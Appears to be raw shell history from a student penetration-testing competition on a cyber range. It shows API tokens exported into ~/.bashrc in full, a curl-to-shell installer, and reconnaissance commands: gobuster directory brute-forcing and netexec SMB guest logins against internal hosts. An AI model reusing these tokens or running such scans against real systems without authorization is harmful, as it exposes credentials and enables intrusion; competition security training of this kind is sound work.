echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team11-key2-7db54cd5-74c8-403b-9eb6-b689596d9d93"' >> ~/.bashrc
source ~/.bashrc


_raw:
ls
cd ..
ls
cd Downloads
ls
unzip cptc-ai-example.zip
ls
cd cptc-ai-example
uv sync
apt search uv
uv
curl -LsSf https://astral.sh/uv/install.sh | sh
uv sync
ls
cp config.yaml.example config.yaml
nano config.yaml
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team11-key6-0eef7da2-a895-47b3-880b-bbf206ca7b80"
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team11-key6-0eef7da2-a895-47b3-880b-bbf206ca7b80"' >> ~/.bashrc
source ~/.bashrc
clear


_raw: : 1767971896:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://10.0.1.11:8081/ --exclude-length 12


_raw: : 1767971886:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url http://10.0.1.11:8081/ -k


_raw: : 1767971882:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --url https://10.0.1.11:8081/ -k


_raw: : 1767971868:0;termshot -scf out.png -- "nxc smb windows_hosts -u 'Guest' -p ''"